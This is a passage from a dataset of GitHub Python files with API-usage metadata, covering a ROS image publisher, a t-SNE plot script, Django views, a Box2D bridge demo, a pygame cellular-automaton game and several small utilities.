{"api_name": "docutils.nodes.Element.__init__", "line_number": 34, "usage_type": "call"}, {"api_name": "docutils.nodes.Element", "line_number": 34, "usage_type": "attribute"}, {"api_name": "docutils.nodes", "line_number": 34, "usage_type": "name"}, {"api_name": "docutils.nodes.Inline", "line_number": 41, "usage_type": "attribute"}, {"api_name": "docutils.nodes", "line_number": 41, "usage_type": "name"}, {"api_name": "docutils.nodes.Element", "line_number": 41, "usage_type": "attribute"}, {"api_name": "docutils.nodes.Element.__init__", "line_number": 43, "usage_type": "call"}, {"api_name": "docutils.nodes.Element", "line_number": 43, "usage_type": "attribute"}, {"api_name": "docutils.nodes", "line_number": 43, "usage_type": "name"}]}
{"seq_id": "72716397706", "text": "#!/usr/bin/env python\nfrom __future__ import print_function\nimport roslib\nimport sys\nimport rospy\nimport cv2\nfrom std_msgs.msg import String\nfrom sensor_msgs.msg import Image\nfrom cv_bridge import CvBridge, CvBridgeError\n\nclass image_converter(object):\n  def __init__(self):\n    self.image_pub = rospy.Publisher(\"image_topic\",Image)\n    self.bridge = CvBridge()\n    self.cap = cv2.VideoCapture(2)\n    #self.cap = cv2.VideoCapture('debug.avi')\n  def start(self):\n    while not rospy.is_shutdown():\n        ret, frame = self.cap.read()\n        frame = cv2.cvtColor(frame[:, :, 0], cv2.COLOR_BAYER_BG2GRAY)\n        ret,frame = cv2.threshold(cv2.cvtColor(frame, cv2.COLOR_GRAY2BGR),230,255,cv2.THRESH_BINARY)\n        frame = cv2.cvtColor(frame[:, :, 0], cv2.COLOR_BAYER_BG2GRAY)\n        try:\n          self.image_pub.publish(self.bridge.cv2_to_imgmsg(frame, \"mono8\"))\n        except CvBridgeError as e:\n          print(e)\n\n\nic = image_converter()\nrospy.init_node('image_converter', anonymous=True)\nprint(\"Node Initialized\")\ntry:\n    ic.start()\nexcept KeyboardInterrupt:\n    print(\"Shutting down\")\n    cv2.destroyAllWindows()\n\n", "repo_name": "aras-labs/PS3-EYE-ROS-IR-TRACKER", "sub_path": "Jupyter_Notebooks/Stereo_6DOF_Tracker/imagePub.py", "file_name": "imagePub.py", "file_ext": "py", "file_size_in_byte": 1122, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "rospy.Publisher", "line_number": 13, "usage_type": "call"}, {"api_name": "sensor_msgs.msg.Image", "line_number": 13, "usage_type": "argument"}, {"api_name": "cv_bridge.CvBridge", "line_number": 14, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 15, "usage_type": "call"}, {"api_name": "rospy.is_shutdown", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 20, "usage_type": "call"}, {"api_name": "cv2.COLOR_BAYER_BG2GRAY", "line_number": 20, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.COLOR_GRAY2BGR", "line_number": 21, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 21, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 22, "usage_type": "call"}, {"api_name": "cv2.COLOR_BAYER_BG2GRAY", "line_number": 22, "usage_type": "attribute"}, {"api_name": "cv_bridge.CvBridgeError", "line_number": 25, "usage_type": "name"}, {"api_name": "rospy.init_node", "line_number": 30, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 36, "usage_type": "call"}]}
{"seq_id": "74885233866", "text": "import argparse\nimport random\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.pyplot import cm\nfrom sklearn.manifold import TSNE\nimport seaborn as sns\n\nsns.set()\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser('Script for visualising face embedding vectors with TSNE in 2D.')\n    parser.add_argument('-e', '--embeddings-path', required=True,\n                        help='Path to file with embeddings. File must be numpy matrix in txt format.')\n    parser.add_argument('-l', '--labels-path', required=True,\n                        help='Path to file with labels. File must be numpy matrix in txt format.')\n    return parser.parse_args()\n\n\ndef main():\n    args = parse_args()\n    X, labels = np.loadtxt(args.embeddings_path), np.loadtxt(args.labels_path, dtype=np.str)\n    tsne = TSNE(n_components=2, n_iter=10000, perplexity=5, init='pca', learning_rate=200, verbose=1)\n    transformed = tsne.fit_transform(X)\n\n    y = set(labels)\n    labels = np.array(labels)\n    plt.figure(figsize=(20, 14))\n    colors = cm.rainbow(np.linspace(0, 1, len(y)))\n    for label, color in zip(y, colors):\n        points = transformed[labels == label, :]\n        plt.scatter(points[:, 0], points[:, 1], c=[color], label=label, s=200, alpha=0.5)\n        for p1, p2 in random.sample(list(zip(points[:, 0], points[:, 1])), k=min(1, len(points))):\n            plt.annotate(label, (p1, p2), fontsize=30)\n\n    plt.savefig('tsne_visualization.png', transparent=True, bbox_inches='tight', pad_inches=0)\n    plt.show()\n\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "arsfutura/face-recognition", "sub_path": "util/tsne_visualization.py", "file_name": "tsne_visualization.py", "file_ext": "py", "file_size_in_byte": 1557, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 138, "dataset": "github-code", "pt": "81", "api": [{"api_name": "seaborn.set", "line_number": 9, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.str", "line_number": 23, "usage_type": "attribute"}, {"api_name": "sklearn.manifold.TSNE", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.cm.rainbow", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 30, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "random.sample", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.annotate", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}]}
{"seq_id": "35132010206", "text": "#! /usr/bin/env python3 \n\nfrom typing import List \nfrom collections import Counter\n\ndef majority_vote(labels: List[str]) -> str:\n    \"\"\"For sorted labels from nearest\"\"\" \n\n    vote_counts = Counter(labels)\n    winner, winner_count = vote_counts.most_common(1)[0]\n\n    num_winners = len([count for count in vote_counts.values() if count == winner_count])\n    if num_winners == 1:\n        return winner \n    else:\n        return majority_vote(labels[:-1])\n        ", "repo_name": "golanghack/ai_only", "sub_path": "clean_math/course_3/module_2/majority_vote.py", "file_name": "majority_vote.py", "file_ext": "py", "file_size_in_byte": 462, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "typing.List", "line_number": 6, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 9, "usage_type": "call"}]}
{"seq_id": "27271300107", "text": "import logging\nlogger = logging.getLogger(__name__)\nimport time\n\nimport os\nimport sys\nsys.path.extend(os.environ['PYTHONPATH'])\n\nimport importlib\nimport argparse\nfrom copy import deepcopy\n\n\n\n\n\ndef set_logging_config(fn_components:list=[],path=None,level='WARNING'):\n    fn = '_'.join(fn_components) + '.log'\n    if path:\n        fn = os.path.join(path,fn)\n    level = eval('logging.' + level)\n    return logging.basicConfig(filename=fn,\n                        level=level,  # change to INFO, see what happens with log file\n                        format='%(asctime)s %(name)-8s %(levelname)-8s %(message)s')\n\n\n\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser( description= 'Dynamically evaluated helper script - functionality depends on defined scope.')\n    parser.add_argument('--scope',\n                        help = 'Define which kind of helper script is going to be executed.',\n                        required = True,\n                        type = str)\n    parser.add_argument('--dry_run',\n                        help = 'Dry run to test whether all expected configuration files and datasets were found.',\n                        required = False,\n                        default = False,\n                        type = bool)\n    args = parser.parse_args()\n    return args\n\ndef main():\n    args = parse_args()\n\n    # shared between scopes\n    config_path = os.path.join(os.environ['PYTHONPATH'],'configurations')\n\n    if args.scope == 'debug_all_fixed_archs':\n        debug_path = os.path.join(os.environ['RESULTSPATH'],'debug')\n        if not os.path.exists(debug_path):\n            os.makedirs(debug_path)\n        s = 'dry_run' if args.dry_run else ''\n        set_logging_config([args.scope, s, str(time.time())], path=debug_path, level='INFO')\n        for d in ['Chargrid', 'Cityscapes']:\n            for c in [i for i in os.listdir(config_path) if not i[0] in '_.']:\n                logger.info(f'\\nDebugging config {c} on dataset {d}.')\n                if args.dry_run: logger.info('Dry run.')\n                try:\n                    config = None  # important, otherwise carrying over dict when try failsls\n\n                    m = importlib.import_module('.' + c[:-3], package='configurations')\n                    config = m.config\n                    if ('fixed_arch' not in config.keys() or config['fixed_arch'] is False) and c != 'chargrid.py':\n                        # we need this exception for the 'base config' in chargrid.py since config is not imported\n                        logger.info(f'Config in {c} is not specified to cover a fixed arch, hence excluded.')\n                        raise KeyError\n                    exec_string = 'python $PYTHONPATH/sample_and_train.py'\n                    exec_string += ' --experiment_name ' + 'auto_debug_' + d + '_' + c\n                    exec_string += ' --dataset ' + d\n                    exec_string += ' --config ' + c\n                    exec_string += ' --debug True'\n                    logger.info(f'Will execute: {exec_string}')\n                    if not args.dry_run:\n                        os.system(exec_string)\n                    logger.info(f'Successfully debugged config {c} on dataset {d}.')\n                except:\n                    logger.exception(f'Failed to successfully debug config {c} on dataset {d}.')\n\n\n\n\n\n\n    if args.scope == 'log_test':\n        #logging.basicConfig(filename= 'test.log',\n                      #      level=logging.INFO, # change to INFO, see what happens with log file\n                       #     format='%(asctime)s %(name)-8s %(levelname)-8s %(message)s')\n        set_logging_config(['testA','testB'])\n        logging.info('Great, we are learning to properly log!')\n        try:\n            print('In main loop, first everything works.')\n            i = 1/0 # now something fails, we don't anticipate the type of error\n            logging.info('This will not get logged!')\n        except Exception:\n            #logger.warning(\"Fatal error in main loop\", exc_info=True)\n            logger.exception(\"Fatal error in main loop\")\n            print('Finished.')\n\n\n\n\n\n\nif __name__ == '__main__':\n    main()\n\n\n\n\n\n\n", "repo_name": "jmsckv/EncDecMeta", "sub_path": "src/utils/helper_script.py", "file_name": "helper_script.py", "file_ext": "py", "file_size_in_byte": 4144, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 2, "usage_type": "call"}, {"api_name": "sys.path.extend", "line_number": 7, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 7, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 22, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 48, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 51, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 53, "usage_type": "call"}, {"api_name": "time.time", "line_number": 55, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 57, "usage_type": "call"}, {"api_name": "importlib.import_module", "line_number": 63, "usage_type": "call"}, {"api_name": "os.system", "line_number": 76, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 91, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 95, "usage_type": "call"}]}
{"seq_id": "19914846901", "text": "import argparse\nimport os\n\n\ndef cli():\n    parser = argparse.ArgumentParser(description='iotbot模板生成')\n    parser.add_argument('-n', default='bot', type=str, help='生成的文件名')\n    parser.add_argument('-q', default=12345678, type=int, help='机器人QQ号')\n    parser.add_argument('-p', default=None, type=str, help='插件名')\n\n    args = parser.parse_args()\n    fileName = args.n\n    qq = args.q\n    plug_name = args.p\n\n    if plug_name is not None:\n        file = f'bot_{plug_name}.py'\n        if input(f'将生成{file}，这是覆盖写操作，确定？ y/N ').lower() == 'y':\n            with open(file, 'w', encoding='utf-8') as f:\n                f.write(\n                    \"\"\"from iotbot import Action, FriendMsg, GroupMsg, EventMsg\n\n\n# 下面三个函数名不能改，否则不会调用\n# 但是都是可选项，建议把不需要用到的函数删除，节约资源\n\ndef receive_group_msg(ctx: GroupMsg):\n    Action(ctx.CurrentQQ)\n\ndef receive_friend_msg(ctx: FriendMsg):\n    Action(ctx.CurrentQQ)\n\ndef receive_events(ctx: EventMsg):\n    Action(ctx.CurrentQQ)\n    \"\"\"\n                )\n            print('OK!')\n            return\n        else:\n            print('bye~')\n            return\n\n    template_path = os.path.join(\n        os.path.dirname(os.path.abspath(__file__)), 'template.py'\n    )\n\n    c = input(f'将创建{fileName}.py文件, 机器人QQ为：{qq}。是否确定？ y/N: ')\n    if c.lower() == 'y':\n        with open(template_path, 'r', encoding='utf-8') as f:\n            temp = f.read()\n\n        temp = temp.replace('bot_qq = 11', f'bot_qq = {qq}')\n\n        with open(f'{fileName}.py', 'w', encoding='utf-8') as f:\n            f.write(temp)\n\n        print()\n        print('创建成功~')\n        print(\n            f\"\"\"\n执行如下命令：python {fileName}.py\n\n在机器人所在的群或私聊机器人发送：.test\n\"\"\"\n        )\n    else:\n        print('已取消操作')\n\n\nif __name__ == \"__main__\":\n    cli()\n", "repo_name": "ULTRAMANSE/iotBot-plugins", "sub_path": "iotbot/cli.py", "file_name": "cli.py", "file_ext": "py", "file_size_in_byte": 1969, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 44, "usage_type": "call"}]}
{"seq_id": "12814511133", "text": "from django.shortcuts import render, HttpResponse, redirect\nfrom django.views import View\nfrom django.contrib.auth import login\nfrom .forms import RegisterForm\nfrom django.http import HttpResponseRedirect\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom .models import CustomUser\nfrom Home.models import Album, Playlist, MusicStyle, Track, MusicVideo, LikeTrack, LikeAlbum, LikeMV, PlayingTrack\nfrom django.conf import settings\n# Create your views here.\n\n\nclass UserView(LoginRequiredMixin, View):\n    login_url = '/user/login'\n\n    def get(self, request):\n        user = request.user\n        user_avatar = str(user.avatar)\n        avatar_path = settings.MEDIA_ROOT + '/' + user_avatar\n        avatar_url = settings.MEDIA_URL + user_avatar\n\n        # albumTempList = []\n        # album_like_list_id = str(like_list.like_album).split('@')\n        # if len(album_like_list_id) > 1:\n        #     for i in range(1, len(album_like_list_id)):\n        #         albumTempList.append(int(album_like_list_id[i]))\n        # likeAlbums = Album.object.filter(album_id__in=albumTempList)\n        likeAlbums = LikeAlbum.object.filter(user=user)\n\n        playlists = Playlist.object.filter(user=user).order_by('-playlist_name')\n        styles = MusicStyle.object.order_by('-created_at')\n\n        # trackTempList = []\n        # track_like_list_id = str(like_list.like_track).split('@')\n        # if len(track_like_list_id) > 1:\n        #     for i in range(1, len(track_like_list_id)):\n        #         trackTempList.append(int(track_like_list_id[i]))\n        # likeTracks = Track.object.filter(track_id__in=trackTempList)\n        likeTracks = LikeTrack.object.filter(user=user)\n\n        # mvTempList = []\n        # mv_like_list_id = str(like_list.like_mv).split('@')\n        # if len(mv_like_list_id) > 1:\n        #     for i in range(1, len(mv_like_list_id)):\n        #         mvTempList.append(int(mv_like_list_id[i]))\n        # likeMVs = MusicVideo.object.filter(mv_id__in=mvTempList)\n        likeMVs = LikeMV.object.filter(user=user)\n\n        Artists = CustomUser.objects.filter(is_artist=1).order_by('follower')\n        # try:\n        #     playingTrack = PlayingTrack.object.filter(user=user).order_by('-id').first()\n        # except PlayingTrack.DoesNotExist:\n        #     playingTrack = Track.object.order_by('-created_at').first()\n        return render(request, 'user.html',\n                      {'avatar_path': avatar_path,\n                       'avatar_url': avatar_url,\n                       'likeAlbums': likeAlbums,\n                       'Playlists': playlists,\n                       'Styles': styles,\n                       'likeTracks': likeTracks,\n                       'likeMVs': likeMVs,\n                       'Artists': Artists})\n\n\ndef register(request):\n    if request.method == 'POST':\n        form = RegisterForm(request.POST)\n        if form.is_valid():\n            user = form.save()\n            # login(request, user)\n            return redirect('login')\n    else:\n        form = RegisterForm()\n    return render(request, 'register.html', {'form': form})\n\n\ndef repairName(request):\n    user = request.user\n    new_name = request.POST.get('new_name')\n    img = request.POST.get('img')\n    user.avatar = img\n    user.username = new_name\n    user.save()\n\n    return redirect('/user/')\n\n\ndef createPlaylist(request):\n    user = request.user\n    name = request.POST.get('name')\n    avatar = request.POST.get('img')\n    playlist = Playlist(user=user, playlist_name=name, avatar=avatar)\n    playlist.save()\n\n    return redirect('/user/')\n\n\ndef createPlaylistView(request):\n    return render(request, 'createPlaylistForm.html')\n", "repo_name": "z34vv/ChiuNhac", "sub_path": "ChiuNhac/User/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 3656, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 13, "usage_type": "name"}, {"api_name": "django.views.View", "line_number": 13, "usage_type": "name"}, {"api_name": "django.conf.settings.MEDIA_ROOT", "line_number": 19, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 19, "usage_type": "name"}, {"api_name": "django.conf.settings.MEDIA_URL", "line_number": 20, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 20, "usage_type": "name"}, {"api_name": "Home.models.LikeAlbum.object.filter", "line_number": 28, "usage_type": "call"}, {"api_name": "Home.models.LikeAlbum.object", "line_number": 28, "usage_type": "attribute"}, {"api_name": "Home.models.LikeAlbum", "line_number": 28, "usage_type": "name"}, {"api_name": "Home.models.Playlist.object.filter", "line_number": 30, "usage_type": "call"}, {"api_name": "Home.models.Playlist.object", "line_number": 30, "usage_type": "attribute"}, {"api_name": "Home.models.Playlist", "line_number": 30, "usage_type": "name"}, {"api_name": "Home.models.MusicStyle.object.order_by", "line_number": 31, "usage_type": "call"}, {"api_name": "Home.models.MusicStyle.object", "line_number": 31, "usage_type": "attribute"}, {"api_name": "Home.models.MusicStyle", "line_number": 31, "usage_type": "name"}, {"api_name": "Home.models.LikeTrack.object.filter", "line_number": 39, "usage_type": "call"}, {"api_name": "Home.models.LikeTrack.object", "line_number": 39, "usage_type": "attribute"}, {"api_name": "Home.models.LikeTrack", "line_number": 39, "usage_type": "name"}, {"api_name": "Home.models.LikeMV.object.filter", "line_number": 47, "usage_type": "call"}, {"api_name": "Home.models.LikeMV.object", "line_number": 47, "usage_type": "attribute"}, {"api_name": "Home.models.LikeMV", "line_number": 47, "usage_type": "name"}, {"api_name": "models.CustomUser.objects.filter", "line_number": 49, "usage_type": "call"}, {"api_name": "models.CustomUser.objects", "line_number": 49, "usage_type": "attribute"}, {"api_name": "models.CustomUser", "line_number": 49, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 54, "usage_type": "call"}, {"api_name": "forms.RegisterForm", "line_number": 67, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 71, "usage_type": "call"}, {"api_name": "forms.RegisterForm", "line_number": 73, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 74, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 85, "usage_type": "call"}, {"api_name": "Home.models.Playlist", "line_number": 92, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 95, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 99, "usage_type": "call"}]}
{"seq_id": "41819355498", "text": "from Box2D.examples.framework import (Framework, main)\nfrom Box2D import (b2CircleShape, b2EdgeShape, b2FixtureDef, b2PolygonShape)\n\n\ndef create_bridge(world, ground, size, offset, plank_count, friction=0.6, density=1.0):\n    \"\"\"\n    Create a bridge with plank_count planks,\n    utilizing rectangular planks of size (width, height).\n    The bridge should start at x_offset, and continue to\n    roughly x_offset+width*plank_count.\n    The y will not change.\n    \"\"\"\n    width, height = size\n    x_offset, y_offset = offset\n    half_height = height / 2\n    plank = b2FixtureDef(\n        shape=b2PolygonShape(box=(width / 2, height / 2)),\n        friction=friction,\n        density=density,\n    )\n\n    bodies = []\n    prevBody = ground\n    for i in range(plank_count):\n        body = world.CreateDynamicBody(\n            position=(x_offset + width * i, y_offset),\n            fixtures=plank,\n        )\n        bodies.append(body)\n\n        world.CreateRevoluteJoint(\n            bodyA=prevBody,\n            bodyB=body,\n            anchor=(x_offset + width * (i - 0.5), y_offset)\n        )\n\n        prevBody = body\n\n    world.CreateRevoluteJoint(\n        bodyA=prevBody,\n        bodyB=ground,\n        anchor=(x_offset + width * (plank_count - 0.5), y_offset),\n    )\n    return bodies\n\n\nclass Bridge (Framework):\n    name = \"Bridge\"\n    numPlanks = 30  # Number of planks in the bridge\n\n    def __init__(self):\n        super(Bridge, self).__init__()\n\n        # The ground\n        ground = self.world.CreateBody(\n            shapes=b2EdgeShape(vertices=[(-40, 0), (40, 0)])\n        )\n\n        create_bridge(self.world, ground, (1.0, 0.25),\n                      (-14.5, 5), self.numPlanks, 0.2, 20)\n\n        fixture = b2FixtureDef(\n            shape=b2PolygonShape(vertices=[(-0.5, 0.0),\n                                           (0.5, 0.0),\n                                           (0.0, 1.5),\n                                           ]),\n            density=1.0\n        )\n        for i in range(2):\n            self.world.CreateDynamicBody(\n                position=(-8 + 8 * i, 12),\n                fixtures=fixture,\n            )\n\n        fixture = b2FixtureDef(shape=b2CircleShape(radius=0.5), density=1)\n        for i in range(3):\n            self.world.CreateDynamicBody(\n                position=(-6 + 6 * i, 10),\n                fixtures=fixture,\n            )\n\nif __name__ == \"__main__\":\n    main(Bridge)\n", "repo_name": "pybox2d/pybox2d", "sub_path": "library/Box2D/examples/bridge.py", "file_name": "bridge.py", "file_ext": "py", "file_size_in_byte": 2413, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 455, "dataset": "github-code", "pt": "81", "api": [{"api_name": "Box2D.b2FixtureDef", "line_number": 16, "usage_type": "call"}, {"api_name": "Box2D.b2PolygonShape", "line_number": 17, "usage_type": "call"}, {"api_name": "Box2D.examples.framework.Framework", "line_number": 47, "usage_type": "name"}, {"api_name": "Box2D.b2EdgeShape", "line_number": 56, "usage_type": "call"}, {"api_name": "Box2D.b2FixtureDef", "line_number": 62, "usage_type": "call"}, {"api_name": "Box2D.b2PolygonShape", "line_number": 63, "usage_type": "call"}, {"api_name": "Box2D.b2FixtureDef", "line_number": 75, "usage_type": "call"}, {"api_name": "Box2D.b2CircleShape", "line_number": 75, "usage_type": "call"}, {"api_name": "Box2D.examples.framework.main", "line_number": 83, "usage_type": "call"}]}
{"seq_id": "27524447933", "text": "import sys\nimport enum\nimport pUtils\nimport platform\n\n\ndef paramList(arg):\n    return arg.split(',')\n\n\ndef handleCli(args, topLevel, ConfigManager=None):\n    kwargs = vars(args)\n\n    preprocessFileList(kwargs)\n\n    command = kwargs.pop('command')\n    func = getattr(topLevel, command)\n\n    if kwargs['verbose']:\n        pprint(kwargs, color=COLOR.TEAL)\n        pprint('---------------------------')\n\n    if ConfigManager:\n        kwargs['configManager'] = ConfigManager(**kwargs)\n\n    func(**kwargs)\n\n\ndef preprocessFileList(kwargs):\n    fList = kwargs.get('fList')\n\n    if not fList: return\n    fListVarNameList = kwargs['fListVarNameList']\n    for fListVarName in fListVarNameList:\n        fListVar = kwargs.get(fListVarName)\n        if fListVar is None: continue\n        t = []\n        for item in fListVar:\n            t += pUtils.quickFileRead(item, 'txt')\n        kwargs[fListVarName] = t\n\n\nclass COLOR(enum.Enum):\n    RED   = 91\n    GREEN = 32\n    BLUE  = 34\n    TEAL  = 96\n\n\ndef colorString(s, color):\n    if platform.system() == 'Linux':\n        return '\\033[%im%s\\033[00m' % (color.value, s)\n    return s\n\n\ndef pprint(s, color=None, endLine=True):\n    s = str(s)\n\n    if endLine:\n        s += '\\n'\n\n    if PPRINT_LOG_FILE:\n        pUtils.quickFileWrite(PPRINT_LOG_FILE, s, 'at')\n\n    if color:\n        s = colorString(s, color)\n\n    sys.stdout.write(s)\n    sys.stdout.flush()\n\n\nPPRINT_LOG_FILE = None\n", "repo_name": "NVIDIA/PixelView", "sub_path": "PixelView/utils/cli.py", "file_name": "cli.py", "file_ext": "py", "file_size_in_byte": 1411, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pUtils.quickFileRead", "line_number": 39, "usage_type": "call"}, {"api_name": "enum.Enum", "line_number": 43, "usage_type": "attribute"}, {"api_name": "platform.system", "line_number": 51, "usage_type": "call"}, {"api_name": "pUtils.quickFileWrite", "line_number": 63, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 68, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 68, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 69, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 69, "usage_type": "attribute"}]}
{"seq_id": "70568939786", "text": "from django.urls import path\n\nfrom . import views\n\napp_name = 'users'\n\nurlpatterns = [\n    path('token/', views.CreateTokenView.as_view(), name='token-create'),\n    path('me/', views.UserDetailsAPIView.as_view(), name='user-details'),\n]\n", "repo_name": "civilcoder55/django-rest-framework-api", "sub_path": "app/users/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 237, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}]}
{"seq_id": "27499463302", "text": "import pygame\nimport numpy as np\nfrom matrix import Matrix\nimport time\nimport random\n\npygame.init()\n\nmatrix = Matrix((600, 600), 60, 60)\nmatrix.immigration_game()\nbackgroundColor = 25, 25, 25\n\nscreen = pygame.display.set_mode(matrix.size)\nscreen.fill(backgroundColor)\n\nwhile True:\n\n    new_gameState = np.copy(matrix.gameState)\n    new_gameColor = np.copy(matrix.gameColor)\n    screen.fill(backgroundColor)\n\n    for y in range(0, matrix.nyCells):\n        for x in range(0, matrix.nxCells):\n\n            color = (128, 128, 128)\n            if matrix.gameColor[x, y] == 1:\n                color = (0, 0, 0)\n            elif matrix.gameColor[x, y] == 2:\n                color = (255, 255, 255)\n\n            neighbors = matrix.neihbors(x, y)\n\n            if matrix.gameState[x, y] == 0 and neighbors == 3:\n                new_gameState[x, y] = 1\n                neighborsColor = matrix.neihbors_color(x, y)\n                if neighborsColor == 3 or neighborsColor == 4:\n                    new_gameColor[x, y] = 1\n                    color = (0, 0, 0)\n                else:\n                    new_gameColor[x, y] = 2\n                    color = (255, 255, 255)\n\n            elif matrix.gameState[x, y] == 1 and (neighbors < 2 or neighbors > 3):\n                new_gameState[x, y] = 0\n                new_gameColor[x, y] = 0\n                color = (128, 128, 128)\n\n            poly = matrix.poly(x, y)\n            pygame.draw.polygon(screen, color, poly, int(abs(1 - new_gameState[x, y])))\n    matrix.gameState = new_gameState\n    matrix.gameColor = new_gameColor\n    time.sleep(0.1)\n    pygame.display.flip()\n", "repo_name": "rtacuna/immigration_game", "sub_path": "black_white_game.py", "file_name": "black_white_game.py", "file_ext": "py", "file_size_in_byte": 1608, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pygame.init", "line_number": 7, "usage_type": "call"}, {"api_name": "matrix.Matrix", "line_number": 9, "usage_type": "call"}, {"api_name": "matrix.immigration_game", "line_number": 10, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 13, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 13, "usage_type": "attribute"}, {"api_name": "matrix.size", "line_number": 13, "usage_type": "attribute"}, {"api_name": "numpy.copy", "line_number": 18, "usage_type": "call"}, {"api_name": "matrix.gameState", "line_number": 18, "usage_type": "attribute"}, {"api_name": "numpy.copy", "line_number": 19, "usage_type": "call"}, {"api_name": "matrix.gameColor", "line_number": 19, "usage_type": "attribute"}, {"api_name": "matrix.nyCells", "line_number": 22, "usage_type": "attribute"}, {"api_name": "matrix.nxCells", "line_number": 23, "usage_type": "attribute"}, {"api_name": "matrix.gameColor", "line_number": 26, "usage_type": "attribute"}, {"api_name": "matrix.gameColor", "line_number": 28, "usage_type": "attribute"}, {"api_name": "matrix.neihbors", "line_number": 31, "usage_type": "call"}, {"api_name": 